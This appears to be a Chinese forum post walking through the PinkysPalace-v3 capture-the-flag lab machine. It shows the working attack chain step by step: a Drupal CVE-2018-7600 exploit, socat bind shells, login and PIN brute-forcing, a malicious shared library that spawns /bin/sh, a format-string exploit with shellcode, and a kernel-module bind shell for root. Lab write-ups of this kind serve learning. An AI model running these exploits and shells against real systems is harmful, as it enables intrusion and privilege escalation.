找回密码
 立即注册
注册 登录
×
热搜: 活动 交友 discuz
查看: 99|回复: 1

项目三十六:PinkysPalace-v3靶机渗透:

[复制链接]

3

主题

7

帖子

16

积分

新手上路

Rank: 1

积分
16
发表于 2022-11-26 19:20:03 | 显示全部楼层 |阅读模式
项目三十六:PinkysPalace-v3靶机渗透:


一、前言:


1.环境说明:


靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/
靶机难度:高级(CTF)

靶机描述:
无???!!!。

2.目标:


目标:得到root权限&找到flag.txt

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

二、步骤:


挂马前:


1.信息收集:


1)首先需要了解靶机的ip地址和开放的端口信息,这里发现开放了3个端口信息。

arp-scan -l
192.168.220.199

nmap 192.168.220.199 -p-
21/tcp   open  ftp
5555/tcp open  freeciv
8000/tcp open  http-alt
2)这里使用命令探测详细的信息,这里的ftp开放了匿名登录,登录去收集信息。

nmap -sS -sV -A  192.168.220.199 -p 21,5555,8000

21/tcp   open  ftp     vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)

5555/tcp open  ssh

8000/tcp open  http    nginx 1.10.3
http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: PinkDrup
|_http-server-header: nginx/1.10.3
3)登录ftp来收集信息,发现这里有一个文件WELCOME,将文件下载下来。没有发现什么有用的信息,这里还需要使用 ls -al来进行详细的查看。

ftp 192.168.220.199
Anonymous

get WELCOME

cd ...
4)发现这里是防火墙的提示信息,要是没有这个提示信息,应该想不到作者会将tcp的流量都禁掉。这里的提示信息说明不能回弹shell。

#!/bin/bash
#FIREWALL

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
2.web渗透:


1)这里直接访问网页的信息,发现这里的CMS是drupal,同时发现这里有一个登录框。



2)使用工具来爆破网页信息,发现这里有不少的文件。这里发现了CMS的框架版本,这里的drupal 7.57有一个远程代码执行漏洞。

/.editorconfig  配置文件
/.gitignore     配置文件
/CHANGELOG.txt  Drupal 7.57

/INSTALL.mysql.txt
3)使用谷歌搜索到这里有一个CVE-2018-7600的漏洞信息。这里使用github上找到的漏洞利用脚本。

4)首先测试脚本是否可用,使用命令来测试。这里发现脚本可用使用,这里发现脚本可用使用,但是没有办法去回弹shell。因为这里的防火墙规则,将回弹的流量直接拦截了。

python cve-2018-7600-drupal7.py -h

python cve-2018-7600-drupal7.py -t 192.168.220.199  -p 8000 -c"cat /etc/passwd"



5)这里需要架设一个隧道来绕过防火墙的规则,这里使用的是socat,这里需要使用反引号来引入,然后建立一个shell。

socat
1)可用做一个稳定的shell
2)socat做端口转发
3)socat绕过防火墙
python cve-2018-7600-drupal7.py -t 192.168.220.199 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
python cve-2018-7600-drupal7.py -t 192.168.220.199 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000

socat FILE:`tty`,raw,echo=0 TCP:192.168.220.199:4444



挂马后:


1.靶机信息收集:


1)这里由于防火墙的规则,现在没有办法去上传文件,这里有两种方式来绕过防火墙,一种是使用scp或者是直接复制文本信息。首先选择直接复制文本信息。

2)这里将文件转成base64加密方式,然后使用vi来移动到靶机中,使用md5来测算一下是否正确。

base64 linpeas.sh >1.txt
cat 1.txt |base64 -d >linpeas.sh
md5sum linpeas.sh
3)这里开始进行信息收集,这里发现本地还有网站端口和数据库端口。

pinksecmanagement127.0.0.1:3306
127.0.0.1:80
127.0.0.1:65334


dpink
drupink



pinksecmanagement
pinksec
pinky

pinky pinksecmanagement 7.3K May 14  2018 /usr/local/bin/PSMCCLI





4)这里首先登录数据库,来查看里面的账户信息。这里发现一个新的用户信息和密码值。发现密文无法去识别。

mysql -udpink -pdrupink
show databases;

use drupal;
show tables;
select * from users;

pinkadmin
$S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup
5)这里搭建的有本地网页端口和数据库端口,使用命令将本地的端口映射出来。

socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &

netstat -ntulp



2.pinkadmin用户:


1)这里将端口映射出来后,使用nmap来进行探查。这里发现端口开启,然后使用命令来仔细探测其端口服务信息。

nmap 192.168.220.199 -p 8888,9999  
8888/tcp open  sun-answerbook
9999/tcp open  abyss



nmap -sS -sV -A  192.168.220.199 -p 8888,9999

8888/tcp open  http    Apache httpd 2.4.25 ((Debian))
9999/tcp open  http    Apache httpd 2.4.25 ((Debian))
2)发现两个都是网页信息,那么直接访问,发现8888这里是一个登录界面,9999是一个数据库还在建设的页面信息。



DATABASE Under Development
3)这里的登录界面还有pin值,先抓包查看一下。发现这里有pin值,来进行模糊测试。直接使用burpsuite来爆破没有办法突破pin值。这里使用模糊测试就不需要管pin值。



4)这里需要爆破数据库,进行模糊测试。爆破数据库的方式。这里的数据库还在建设中,但是里面肯定有文件,使用命令来探测里面的文件。这里发现有pwd文件,猜测是密码文件。

数据库的文件类型:
db
sql
txt
mdb
lst
locate common-tables .

cp /usr/share/sqlmap/data/txt/common-tables.txt .

wfuzz -w /usr/share/sqlmap/data/txt/common-tables.txt --sc 200 http://192.168.220.199:9999/FUZZ.db

--sc(show code)  ---显示响应200
第一位置 FUZZ
第二位置 FUZ2Z



5)使用页面去访问这个信息,发现这个应该是密码信息。这里使用hydra来进行爆破,就可以爆破出密码和账户信息。

http://192.168.220.199:9999/pwds.db

FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754
6)这里使用burpsuite来进行爆破,这里发现出现错误,看来还是需要使用wuffz来进行爆破处理。这里爆破出密码和账户信息。

gedit 2user.txt
pinksecmanagement
pinksec
pinky
pinkadmin

wfuzz -c -z file,./2user.txt -z file,./2pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=11111' --hh 45 http://192.168.220.199:8888/login.php

pinkadmin                     AaPinkSecaAdmin4467



7)下面还需要了解pin,这里的pin猜测是一种K盾,就是类似于银行账户登录时所用的U盾。但是这里的K盾都是数字,而且数字顺序不可能过高,这里使用crunch 来生成字典爆破pin值。爆破出pin值。

crunch 5 5 1234567890 > pin

wfuzz -t 150 -w pin -c -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" --hh 41,45 http://192.168.220.199:8888/login.php
55849
拓展:


1)如果不知道有文件怎么办,这里可以使用crunch来生成字典文件。这里生成将近百万行的字典,

cupp ----社工字典生成
crunch ---纯字典生成器
crunch 1 4 abcdefghijklmnobqrstuvwxyz1234567890 > yugong

wc -l yugong
2)生成文件类型文件,这里同样可以爆破出文件类型。

db.txt:
mdb
db
sql
txt
lst

wfuzz -t 100 -w yugong.txt -w db.txt --sc=200 -c http://192.168.4.203:9999/FUZZ.FUZ2Z
3)这里对账户密码暴力破解,这里不需要管pin值,这里只需要管账户就好。这里大概要爆破3个小时,使用hydra需要爆破10个小时左右。

wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=22222' http://192.168.220.199:8888/login.php

可以看到回显的是错误:45 Ch

wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=11111' --hh 45 http://192.168.4.203:8888/login.php

参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 "user=FUZZ&pass=FUZ2Z&pin=11111"
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41
4)这里发现值不同,只有一个41,那么这里的41就是正确的值。

pinkadmin                     aPinkSecaAdmin4467
5)这里登录,发现一个命令执行框,那么可以使用socat来获取一个shell。这里第二次直接给CPU爆崩了,这里就不截图了。

pinkadmin
AaPinkSecaAdmin4467
55849
6)利用socat来拿取一个shell,登录后执行命令,继续利用socat。

socat TCP-LISTEN:6666,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

socat FILE:`tty`,raw,echo=0 TCP:192.168.220.199:6666

成功拿到反弹shell!
4.pinksecmanagement用户:


1)这里发现上传的脚本不见了,这里应该做了隔离,重新复制脚本进行信息收集。

2)复制脚本进行信息收集,这里的程序,进入pinksec,发现这里一个文件,这个文件是pinksecmanagement权限和用户,但是在pinksec目录下。

-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7.4K May 13  2018 /home/pinksec/bin/pinksecd
-rwsrwx--- 1 pinky             pinksecmanagement 7.3K May 14  2018 /usr/local/bin/PSMCCLI
3)去查看这个文件,发现这是一个32的可执行文件,这里有两种方式将文件下载回kali中

4)第一种方式还是直接复制,使用base64进行编码后复制回kali中。

base64 pinksecd >2.txt

cat 2.txt |base64 -d>pinksecd
第二种方式,直接将文件复制到网页中,在网页中进行下载。

cd /home/pinksec/bin/
cp pinksecd ../html
这时候就能在web页面访问了!



5)这里运行发生错误,查看错误的信息,发现这里缺少有关的库,所以还是需要会靶机中运行。

./pinksecd: error while loading shared libraries: libpinksec.so: cannot open shared object file: No such file or directory



6)但是这里可以使用gdb来进行分析,没有发现缓冲区溢出的函数。

info function



7)这里既然运行的时候报错,那么使用ldd来查看,发现这里缺少环境,还是回靶机里进行提权。

ldd pinksecd
        linux-gate.so.1 (0xf7eea000)
        libpinksec.so => not found
        libc.so.6 => /lib32/libc.so.6 (0xf7cdb000)
        /lib/ld-linux.so.2 (0xf7eec000)
8)既然确实这个库,那么回到靶机中找这个库文件,

find / -name libpinksec.so 2>/dev/null
9)制作钓鱼文件的时候,exe二进制程序,是vs写出来的,底下是有 .c .h .so......

一键生成exe文件,

10)学过UDF提权的都知道,可以创建 .so恶意库文件,该程序调用了 .so库文件,那么这里可以创建或者替换.so库文件,写一个恶意库文件,让程序调用后反弹shell !!!

find / -name libpinksec.so 2>/dev/null
/lib/libpinksec.so
ls -la /lib/libpinksec.so
-rwxrwxrwx 1 root root 7136 May 14  2018 /lib/libpinksec.so
11)发现这个程序可以写入,那么可以尝试写入shell文件。

Linux共享对象:

在Linux上可以使用C语言创建两种共享库。
1)静态链接库:它们保存为 .a 文件并作为应用程序的一部分进行链接。
2)动态链接库:它们保存为 .so 文件并在运行时加载。

动态库是在运行时加载的,分配给它们的地址可能会随着每次调用而改变,因此库代码与位置不是非常重要(它不应该依赖于任何固定的内存地址)。在制作.so文件之前,需要了解.so文件中的内容。通常是一个.so文件的某些方法列表,也就是应用程序将使用的函数。
12)使用nm工具来查看函数的信息,这个需要覆盖.so文件.这里可以覆盖第一个函数,也可以覆盖多个函数。但是不要覆盖_init函数!!!

nm -g /lib/libpinksec.so

        w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
         w _Jv_RegisterClasses
00002018 B __bss_start
         w __cxa_finalize@@GLIBC_2.1.3
         w __gmon_start__
00002018 D _edata
0000201c B _end
00000608 T _fini
000003ec T _init
         U printf@@GLIBC_2.0
000005ab T psbanner
00000580 T psopt
000005d6 T psoptin
         U puts@@GLIBC_2.0
         
许多函数,如_init,_fini,psbanner,psopt,psoption等,前两个是编译器使用的内置方式,可以根据需要覆盖它们, _init是加载库时调用的第一个方式。
13)使用程序来覆盖,这里先写入一个程序。之后编译生成恶意库文件。

vi shell.c

#include <stdlib.h>

int psbanner() {
    return system("/bin/sh");
  }
int psopt() {
  return system("/bin/sh");
}
int psoptin() {
  return system("/bin/sh");
}
可以使用以下gcc命令将此代码编译为共享库:
gcc -shared -o shell.so -fPIC shell.c


如果想要覆盖_init函数,请按如下方式编译代码(不建议不建议,可以导致程序奔溃):
gcc -shared -o shell.so -fPIC -nostartfiles shell.c

-shared   ---生成共享目标文件。通常用在建立共享库时。
https://www.runoob.com/w3cnote/gcc-parameter-detail.html

-fPIC   ---参数参考链接:
https://blog.csdn.net/Edidaughter/article/details/120276374?spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-10.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-10.pc_relevant_antiscanv2&utm_relevant_index=17

-nostartfiles    ---参考链接
http://blog.pickbox.cc/2007/07/06/GCC-命令行选项-nodefaultlibs-nostartfiles-nostdlib/
14)下面执行拿去权限,这里替换之后运行,拿到pinksecmanagement 权限。

vi shell.c
gcc -shared -o shell.so -fPIC shell.c
cp shell.so /lib/libpinksec.so

./pinksecd

uid=1001(pinksec) gid=1001(pinksec) euid=1002(pinksecmanagement) groups=1001(pinksec)

成功获得pinksecmanagement权限!



15)这里在程序中的权限,不是稳定的shell,这里会kail中生成ssh密钥后进行连接,获取一个bash 的稳定shell。

cd .ssh

ssh-keygen

echo 'id_rsa.pub
' > authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6SebydZHtJh2E0jrY8auk/gmTZDDKRwzNuLC7L8LaUGPVQZ0bJrTgW7js/TT0PvtjMcR1HS3p+FTyTNFw1jFm83u14SfSBlo44mLrweH82NEALpVi68Ebp8I6n72M33jh4OocAjMbPiK/YEIAZsVzmvPYybcIvlLl3BwByS5+qC1ZNCFFlypv+GsoUevIg1gW35r6sljTJFEBRlOKIU3nWratp39FV+xyONRTb80910ygHZb/bSxbz7DLwz/nDVQeAuGVgZ6lZkjZMr7qh65D71K0trBBUonxCyOmoLtdSCH4GKk9DtkB23oCUdJJarK/o81chb4Z2kg97gN9u85mDGnnolJdWXfC0nKCpuJaEG2bOzkcQSd+ICGlYpZ4GDctxPEDIODTOb3yF3ZDa+zIqDBHCZQwQHBjuIABUv52Z/MKPl2g+2LfzQ+Mk2iVN5pRyWSOPWYHc1OLPm9fNPqbdJWC0hlmPMvVmEPjEBr/CqNW07l1K6tgVgHWu0bbSUk= root@kali' >authorized_keys

ssh pinksecmanagement@192.168.220.199 -i id_rsa -p 5555



5.pinky用户:


1)这里稳定shell之后,利用脚本进行信息收集,发现这里有程序是root执行的。

You can write SUID file: /usr/local/bin/PSMCCLI



2)首先去查看一下程序的权限,发现是pinky的权限,同时是32位的可执行程序。这里应该是缓冲区溢出。

3)这里将程序复制出来,同样使用base64进行复制。

cat 5.txt|base64 -d >PSMCCLI
4)测试是否有溢出,发现居然没有溢出?难道没有缓冲区溢出么?使用strings来静态分析。发现这里有putchar函数,这个函数有格式字符串缓冲区溢出!!!

./PSMCCLI $(python2 -c 'print "A"20000')



5)进入gdb来分析,打开后查看功能模块。

info functions

disas main

print --两个

putchar ---存在格式字符串缓冲区溢出

格式字符串
%x  %n
6)查看这里有没有开启什么安全模式,发现这里开启了只读重定向,代表每次运行程序,栈堆的位置都会发生改变。

ELF 安全特性检查工具:hardening-check

参考文章:
http://manpages.ubuntu.com/manpages/trusty/man1/hardening-check.1.html
执行完会提示安装,安装下即可!1分钟~

PSMCCLI:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: no, only unprotected functions found!
Read-only relocations: yes
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: no, not found!





7)格式字符串允许利用两个基本的攻击向量:


  • 直接内存访问:使用 %x 格式字符串和位置值,可以打印或访问堆栈中的任何内存位置。
  • 写入位置的能力:可以使用 %n 格式字符串写入任何位置,%n 将到目前为止打印的字符数写入所选位置。

%x   ------发现位置值,任何位置值

%n   -------写入任何位置 (写入shellcode)

hn   ------执行 (写exp)
8)shellcode编写,利用格式字符串漏洞,通常将shell代码放在环境变量中,并将程序流重定向到环境变量的地址即可!将偏移量移/tmp目录中,并对其进行排序。

http://shell-storm.org/shellcode/files/shellcode-827.php

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

###这里需要注意的是,SPAWN的值是可变的,但是如果内存中出现 0xffffff代表这个值是无效值,需要退出重新写入
9)定位环境变量的地址,思路是覆盖 putchar函数,因为它是printy之后的下一个函数,要获取需要覆盖的位置,在运行程序之前,先拆装了putchar函数,方便包含它在运行时加载的地址。

disas argshow

disas putchar
0x804a01c



10)当环境变量中植入shellcode后,需要找到覆盖函数的地址,这里有一个找到植入shellcode的地址脚本。

https://raw.githubusercontent.com/Partyschaum/haxe/master/getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
}
11)将其保存到tmp目录下面,运行脚本,发现这里给出了提示信息。

nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr

./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>

用法:./getenvaddr <环境变量> <目标程序名>
12)前面已经将shellcode放入环境变量中,现在可以使用SPAWN在执行目标二进制文件期间找到环境变量在内存中的位置。

./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbffffe91


shellcode地址:0xbffffe91    ---要覆盖的内存地址
putchar地址:0x0804a01c      ---写入的地址
所以此时有两个地址,需要将shell代码的地址写入putchar的指针存放位置。
13)确认Args位置,此时有两个地址需要将shellcode代码的地址写入putchar的指针存放位置。

现在的目标是在参数中引入一些地址并尝试访问它们,在参数中引入了两个地址 AAAA和BBBB,还需要第三位填充 CCC

/usr/local/bin/PSMCCLI AAAABBBBCC$(python -c "print '%x.'*138")

#这里内存中回显的值一定要是连贯的值,不能有分散。



拓展:


1)找到空间的位置,但是需要主要的是这里的内存值不可能超过 1-65535,因为这里对应着1-ffff。

2)这里出现值不对,可以有两种调整方式。

3)一种是 在 %x 之前加入0,要是4141或4242之前有0,这里可以填充0来消除。

4)要是值一直不对,可以更改填充值 C的数量,比如减少C或者是增加 C。

5)这里的数字也是可以更改的,但是不建议该太大,容易看花。

14)这里还需要确认位置,测试出来都是4141414142424242代表确认正确位置。这里需要不断调整 数值和 %x中间的0.

/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$00x



15)这里需要确定前半段exp的地址,现在需要访问 putchar指针的地址(需要修改的地址),这里是0x804a01c,32位架构中的内存为4字节(32位)大小,然后将使用格式字符串漏洞进行写入也就是两字节写入,所以需要把地址分为两个字节。

低位地址:0x804a01c

高位地址:0x804a01e (初始地址+2)

地址字节的顺序是颠倒写的:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%135\$x%136\$00x



前半部分可以访问所需的地址值基本确定。

16)exp确认后半段地址值,只需要将%x 更改为 %n即可,使用%x 访问的内存位置。发现这里出现了段地址错误。

这边出现了分段错误,因为 %n 会将到目前为止已经打印的字符数字写入正在访问的内存中,上面的代码会将 10(0xb)写入高位和地位存储短字节中,这是一个非法地址,所以会报错!!!

/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$00n

Segmentation fault
17)shellcode地址位置计算,需要将值  0xbffffe91 写入内存字节中,每个短字节最多能容纳 0xffff,因此需要将值拆分为两个短字节。

shellcode地址: 0xbffffe91

低位短字节: 0xfe91 =65169
高位短字节: 0xbfff = 49151

/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$0x
AAAABBBBCC(10个字节)两个四字节和三个C填充!

前半部分 = 49151

后半部分 = 65169 -10 =65159
接下来使用%u格式说明符来引入那么多额外的字符即可!
18)整体溢出思路写法,现在修复了低位短字节,需要将 0bfff写入 高位短字节 然后 0xbfff 低于0x fe93

这里需要将 0x1bfff-0xfe91 =49518

来写入所需的0xbfff的值!!

这里千万要直接减,不要转换再减,会出错!!!

usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%65159u%135\$hn%49518u%136\$hn

hn  ----指printf进行短位字节
最终payload:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%65159u%135\$0hn%49518u%136\$0hn
19)这里溢出后拿到pinky的权限,但是这个shell也不稳定,使用ssh继续创建密钥后连接。



echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZrgydicrc1whpFmBt1Fwv59P8TK40YXUHEx70PGfFGe14q+2ISBf2uhsWZEphMUEhJBMagJAG9Ji70d2g2RQhbfWc4nXPh1hunDUqOAtpD5fRewwMNjSzi5QjPruBJoc3vY3QAMW8kXGC7apJqqOHic9ydX8wtclntUOWT7Xd1ofats1OrZzgtGQ6lUM72nUxZlcPcNHoEB+NUYsY77D98rzVF3vGXuFZsSAxDtqbRg84vYALy8rVBuUPVSaAyNIcAQt3KPbELc1nJoMTLLLhsj8gHpPDwB0eA0rHMUdAVGdrkK+MQPaYl+OKgk74bkWEuKAvHS7vKTaHCAU5Ck/h3Lm3F3mRaFhPEhAOe9lUlGGSXYQG97rWPBDFEnR3hD/jU21JAnaDGxbYvzbdIuSzoVZxIPkARntDb11/0VZtasBnEAO+oLdPBsTK04GLh2LAU2M4CFMR5SbzIVkNFCjetrraBqRhvgXz1aoYDwnx+0m9aqchu+OIYRQaBDVDfGk= root@kali' >authorized_keys
20)这里看到连接成功,成功获取pinky的权限。

6.root提权:


1)这里还需要进行root提权,首先上传脚本进行信息收集。

  (ALL) NOPASSWD: /sbin/insmod
    (ALL) NOPASSWD: /sbin/rmmod



2)这里使用sduo -l来查看,去查看这两个命令的漏洞库。发现没有,这里先使用谷歌搜索吧。。。这里发现中文文献没有关于这个提权,只找到一份英文文献。。。我英文不太好,这利用起来有点难。

https://developer.ibm.com/articles/l-user-space-apps/

3)看了半天,还是问人之后解决了问题。这里可以通过先绕过防火墙,然后再利用sudo insmod底层的来绑定绕过防火墙的脚本来实现提权。

4)这里先编写一个绕过防火墙的脚本,这里的防火墙将所有tcp的流量都过滤了。

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

  int host_sock = socket(AF_INET, SOCK_STREAM, 0);

  struct sockaddr_in host_addr;
  host_addr.sin_family = AF_INET;
  host_addr.sin_port = htons(atoi(argv[1]));
  host_addr.sin_addr.s_addr = INADDR_ANY;

  bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));
  listen(host_sock, 0);

  int client_sock = accept(host_sock, NULL, NULL);
  dup2(client_sock, 0);
  dup2(client_sock, 1);
  dup2(client_sock, 2);

  execve("/bin/bash", NULL, NULL);
}
5)首先测试一下是否绕过防火墙,测试这里是否绕过防火墙,这里成功绕过防火墙。那么下一步就是绑定sudo的命令。

gcc -m32 -o bindshell bindshell.c
./bindshell 4455
nc x.x.x.x 4455



6)逻辑上是无法反弹nc,但是命令可以执行sudo提权命令,可是这个命令就是需要回弹shell。那么就执行命令的时候来调用脚本回弹shell。

这里编写一个内核模块,调用绑定的/tmp/yugong/bindshell 来监听7777/tcp,这里创建root1.c文件。

参考:https://developer.ibm.com/articles/l-user-space-apps/

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  char *argv[] = { "/tmp/yugong/bindshell", "7777", NULL };
  static char *envp[] = {
    "HOME=/tmp/",
    "TERM=xterm",
    "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

  return 0;
}

void cleanup_module(void)
{
  printk(KERN_INFO "Goodbye!");
}
9)还需要引入文件头,创建一个Makefile,然后编译文件,使用make来编译文件。

obj-m += root1.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
10)这个时候在使用sduo来调用执行root权限的命令,本地查看是否开启了7777端口信息。

这里发现开启了7777端口后,使用命令来监听,发现这里是root权限。

sudo -l

sudo insmod root1.ko

netstat -ntulo

nc 192.168.220.199 7777



11)这里利用python来稳定一下shell,发现不行,看来只能这样用。这里获取flag。



三、总结与反思:


1.问题:


a.当时一直没有办法回弹shell

因为文件头需要和写入的程序名要相同

b.没有办法缓冲区溢出,这里的计算器有问题。不能单个计算。

2.总结:


1)使用drupal 5.17来获取权限

2)使用wuffz来获取pinkadmin账户

3)共享文件提权获取pinksecmanagement用户权限

4)格式缓冲区溢出获取pinky权限

5)这里利用脚本来桡过防火墙

6)利用sudo来提取root权限

3.参考文献:


passive密钥

CVE-2018-7600

crunch生成字典

共享文件库

共享提权参考1

Hardening-check工具安装

pinkit的shell

内核模块调用
回复

使用道具 举报

0

主题

4

帖子

8

积分

新手上路

Rank: 1

积分
8
发表于 2025-3-4 05:58:01 | 显示全部楼层
鄙视楼下的顶帖没我快,哈哈
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋| 黑客通

GMT+8, 2025-4-6 11:58 , Processed in 0.141429 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2020, LianLian.

快速回复 返回顶部 返回列表